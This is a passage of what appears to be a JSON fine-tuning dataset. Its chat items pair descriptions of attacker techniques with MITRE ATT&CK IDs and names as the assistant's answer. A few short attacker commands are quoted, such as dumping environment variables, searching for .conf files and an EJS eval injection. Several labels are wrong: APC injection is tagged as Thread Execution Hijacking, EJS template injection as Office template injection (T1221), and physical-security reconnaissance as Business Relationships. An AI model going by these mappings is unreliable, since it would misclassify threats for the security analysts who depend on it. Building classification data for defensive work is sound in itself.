            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampered with a third‑party dependency management system, inserting a malicious version of a package."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool injects its code into a benign process and then forks a new malicious process that inherits the parent’s legitimacy."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware captures the token of an active VNC session and reuses it to gain unauthorized access to the remote desktop without user knowledge."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker ran \"cmd.exe\" with the argument \"set > C:\\env.txt\" to dump all environment variables to a file."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the 'DomainTrustInfo' attribute from the SYSVOL shared folder to discover trust links."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses Remote Service Execution via Windows to run a malicious binary on a remote system."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JavaScript delivered via a phishing email executed a fetch request to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reverses custom obfuscation by applying a specific decoding algorithm to hidden data sections."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan collects system logs and writes them to a hidden file in the Documents folder to stage the data."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script called \"New-Service\" in PowerShell to create a hidden service that executes a reverse shell upon system start."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using public forum threads on Stack Overflow, the attacker looks for posts disclosing internal tools or code snippets related to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs credential dumping to capture domain credentials and then logs in as a normal user."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiates a massive ARP spoofing attack that saturates the target's network interface, leading to a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account was used to copy financial reports from a shared drive."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised VPN credential to log in via RDP and enumerate the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use stolen SSO tokens to make API calls that download mailbox data from Office 365."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the registry value 'Authentication Packages', the attacker loads a malicious SSP."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan obtains remote access to a target's mail server and downloads the entire email archive."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script gathers the list of active network adapters and their IP configurations from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage subscription-based threat intel services to gather information on the victim's security posture and recent incidents."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs the UNIX command \"find / -type f -name '*.conf'\" to locate configuration files throughout the system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script pulls a Kerberos ticket from memory and uses it to authenticate to a remote service, achieving lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages the 'secedit /export' command to export and analyze policy settings from the target system."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set modifies the display name of a scheduled task by inserting RTLO characters, obscuring the task's malicious purpose from system administrators."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the Windows “AppLocker” bypass technique by using a signed binary to execute code."
            },
            {
                "role": "assistant",
                "content": "T1218 - System Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a remote desktop hijack utility to attach to a live RDP session and execute commands as the logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls the target’s corporate phone number, pretends to be an IT support technician, and asks the user to install a remote access tool by following a link sent via text message."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the device's boot ROM, the attacker deploys a ROMMONkit that modifies system variables to maintain control."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the UserChoice key for .pdf extensions so that a rogue PDF reader is launched automatically, enabling code execution."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set strips binary headers from their exfiltration scripts, erasing any indicator that links the scripts to known toolkits."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator utilizes public DNS dump services to enumerate domain records and identify subdomains that might expose vulnerable services."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a single system and then uses lateral movement techniques, including using Windows Management Instrumentation, to gain access to sensitive data on other systems within the network."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised container runs curl against the cloud instance metadata endpoint to extract temporary access keys."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a rented DDoS service to blast the target’s ISP with excessive bandwidth, causing widespread connectivity loss."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor installed a service named 'SecurityHealthService' that actually launches a RAT on system boot."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests OAuth refresh tokens from a compromised device and uses them to access the victim's cloud APIs."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a vulnerable EJS template by injecting <% eval(userInput) %> to run arbitrary JavaScript on the server."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages SCP to copy confidential files from the victim's system to a drop server."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses APC injection to queue a user-mode APC that runs in the context of a system thread."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers probe CDN edge nodes to map the distribution of a target’s assets across geographic regions."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign distributes a malicious video file through a YouTube comment reply, tricking the target into downloading it."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet conducts DNS amplification attacks, sending small queries that trigger large responses to the victim, leading to a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Control Panel binary to execute a scheduled task that downloads additional ransomware."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries sent crafted packets to the internet‑facing DHCP server exploiting a privilege escalation bug, allowing them to control the network."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor collected both IPv4 and IPv6 addresses from the infected machine and reported them back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a compromised account to dump the bash command history, looking for credentials typed directly into the terminal."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DCOM, the threat actor creates a remote service on a target host and runs a malicious payload without direct access."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deploys a Python script that extracts clipboard text and posts it to a Slack webhook."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering intelligence on a target organization's physical security controls, such as cameras and alarms."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert operation leverages Unicode RTL control characters in the name of a service binary, tricking system administrators into believing the service is benign."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests WHOIS database entries to compile a list of domain registrars and registration dates for target assets."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an adversary conducts network scanning to gather information about a target's network, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink embedded in a social engineering email redirects the user to a credential‑harvesting phishing portal."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor harvests a Kerberos ticket-granting ticket and uses it to impersonate a service account for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group injected malicious code into the server's legitimate Java servlet, allowing remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised cloud service account to upload malicious code to a serverless function."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion technique involves setting the ParentProcessId in a token to a known system process to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exfiltrates the routing table from the victim's machine to gather IP address ranges used in the environment."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code installs a systemd service that runs with root privileges and hides its logs from standard monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the out‑of‑the‑box 'root' password on a newly deployed Linux server."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts AS-REP data from domain controllers for user accounts that have Kerberos pre-authentication disabled, then performs offline cracking to obtain the TGT."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the settings of a third‑party antivirus solution via its API to silence all alert messages, thereby blocking security indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using token spoofing, the attacker sets the ParentProcessId to a system process like svchost.exe to bypass defenses."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses regasm to load a fabricated assembly, achieving code execution via system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape online certificate stores such as crt.sh to collect valid certificates tied to target organizations."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a credential‑dumping tool to gain system access and subsequently installs a rogue root CA to the certificate store, undermining network security monitoring."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a transacted write of a malicious payload, cancels the transaction, and then leverages the rolled‑back file to spawn a process that runs the payload, a classic Process Doppelgänging method."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use standard web traffic over port 80 to blend C2 communications with normal web browsing."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command-and-control client performs a check for the presence of common debugging tools like OllyDbg."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages NetBIOS name service broadcasts to list computers and shared resources on the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant calls the GetExtendedTcpTable function to discover outbound connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using social engineering tactics to gather information about a target organization's employees and their roles."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline abuses the container registry API without proper auth, harvesting stored Docker Hub credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages reversible encryption to transform password hashes, making it possible to reverse them into plaintext after collection."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accessed Windows Event Logs to enumerate recent login events and extract user account names."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a shortcut in a directory with an unquoted path, causing the system to execute a malicious executable placed earlier in the PATH when a program is launched."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
